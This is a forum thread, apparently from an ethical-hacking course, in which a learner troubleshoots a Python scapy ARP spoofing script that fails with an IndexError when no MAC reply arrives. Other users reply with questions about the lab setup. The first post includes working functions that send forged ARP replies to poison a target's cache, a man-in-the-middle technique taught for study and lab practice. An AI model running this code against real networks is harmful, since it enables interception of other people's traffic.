Viewing 5 posts - 1 through 5 (of 5 total)
  • Author
    Posts
  • #34035
    AvatarShaka_Milano
    Participant

    Hi.

    I was following the ARP spoofer lesson and I am having an error related with the MAC address capturing:

    Traceback (most recent call last):
    File “arp_spoofing.py”, line 53, in <module>
    spoof(ip_target,ip_spoof)
    File “arp_spoofing.py”, line 35, in spoof
    mac_target = get_mac(ip_target)
    File “arp_spoofing.py”, line 32, in get_mac
    return answered_list[0][1].hwsrc
    File “/usr/lib/python2.7/dist-packages/scapy/plist.py”, line 118, in __getitem__
    return self.res.__getitem__(item)
    IndexError: list index out of range

    As I understand, for some reason, sometimes is not getting the MAC address response. How to resolve this problem ( I am adding the code I am using below)?

    def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst=”ff:ff:ff:ff:ff:ff”)
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False) [0]
    return answered_list[0][1].hwsrc

    def spoof(ip_target,ip_spoof):
    mac_target = get_mac(ip_target)
    packet = scapy.ARP(op=2, hwdst=mac_target, pdst=ip_target, psrc=ip_spoof)
    scapy.send(packet, verbose=False)

    Furthermore, as an alternative I am using the following code using if statements for keeping the code running; this way ARP poisoning is working, however, I am loosing some packets.

    def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst=”ff:ff:ff:ff:ff:ff”)
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False) [0]
    if answered_list:
    return answered_list[0][1].hwsrc

    def spoof(ip_target,ip_spoof):
    mac_target = get_mac(ip_target)
    if not mac_target:
    print(“\n[-] Warning … No MAC found, packet was not send”)
    else:
    packet = scapy.ARP(op=2, hwdst=mac_target, pdst=ip_target, psrc=ip_spoof)
    scapy.send(packet, verbose=False)

    OUTPUT:
    [+] Sending packet: 16
    [-] Warning … No MAC found, packet was not send
    [+] Sending packet: 18
    [-] Warning … No MAC found, packet was not send
    [+] Sending packet: 26
    [-] Warning … No MAC found, packet was not send
    [+] Sending packet: 28

    Finally, I have an extra question. When we sent the ARP request it was necessary to explicitly configure the Ethernet header using scapy and concatenate it with the ARP request. Why is not necessary configuring the ethernet header when we are sending the ARP response? is it done automatically by scapy.send(packet)?

    #34298

    Are you targeting a vm or host?

    #34323
    AvatarShaka_Milano
    Participant

    I am targeting a host.

    #34491

    Then did you plug in your adapter? Did you try testing with natnetwork before?

    #34508

    Can you show me the result of ifconfig in kali and ipconfig in you target?

Viewing 5 posts - 1 through 5 (of 5 total)
  • You must be logged in to reply to this topic.